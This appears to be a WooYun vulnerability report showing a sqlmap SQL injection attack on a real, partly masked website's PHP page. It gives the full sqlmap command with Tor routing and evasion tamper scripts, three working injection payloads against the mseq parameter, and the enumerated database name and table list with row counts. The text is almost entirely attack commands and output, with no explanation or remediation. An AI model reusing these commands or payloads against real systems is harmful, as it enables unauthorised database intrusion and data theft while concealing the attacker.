WooYun.org

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEU --union-char=N -u "**.**.**.**/public/index_prod.php?limit=170&textfield2=&mseq=0&main=&sub=&ssub=&order=order%20by%20%20PUBLIC_START_DATE%20DESC&word=" --tamper=between.py,space2comment.py,randomcase.py --dbms=mysql --is-dba --current-db --dbs
Parameter: mseq (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: limit=170&textfield2=&mseq=-9682' OR 2260=2260#&main=&sub=&ssub=&order=order by  PUBLIC_START_DATE DESC&word=
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: limit=170&textfield2=&mseq=-4512' OR 1 GROUP BY CONCAT(0x71706a7071,(SELECT (CASE WHEN (8128=8128) THEN 1 ELSE 0 END)),0x716a717a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&main=&sub=&ssub=&order=order by  PUBLIC_START_DATE DESC&word=
    Type: UNION query
    Title: MySQL UNION query (N) - 7 columns
    Payload: limit=170&textfield2=&mseq=0' UNION ALL SELECT 'N','N','N','N','N',CONCAT(0x71706a7071,0x47614c4155475a664976,0x716a717a71),'N'#&main=&sub=&ssub=&order=order by  PUBLIC_START_DATE DESC&word=
	
web application technology: Apache, PHP 5.4.38
back-end DBMS: MySQL >= 5.0.0
current database:    'ocyqrapl_asiamont'
current user is DBA:    False
available databases [2]:
[*] information_schema
[*] ocyqrapl_asiamont
Database: ocyqrapl_asiamont
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| book                    | 3857    |
| epaper_mail_ist         | 2388    |
| act_order               | 727     |
| public_table_ne         | 705     |
| cdb_stylevars           | 240     |
| cdb_settings            | 224     |
| epaper_mail_log         | 154     |
| cdb_statvars            | 110     |
| cdb_admincustom         | 92      |
| cdb_typeoptions         | 65      |
| public_table_ne_del_log | 64      |
| cdb_stats               | 50      |
<......>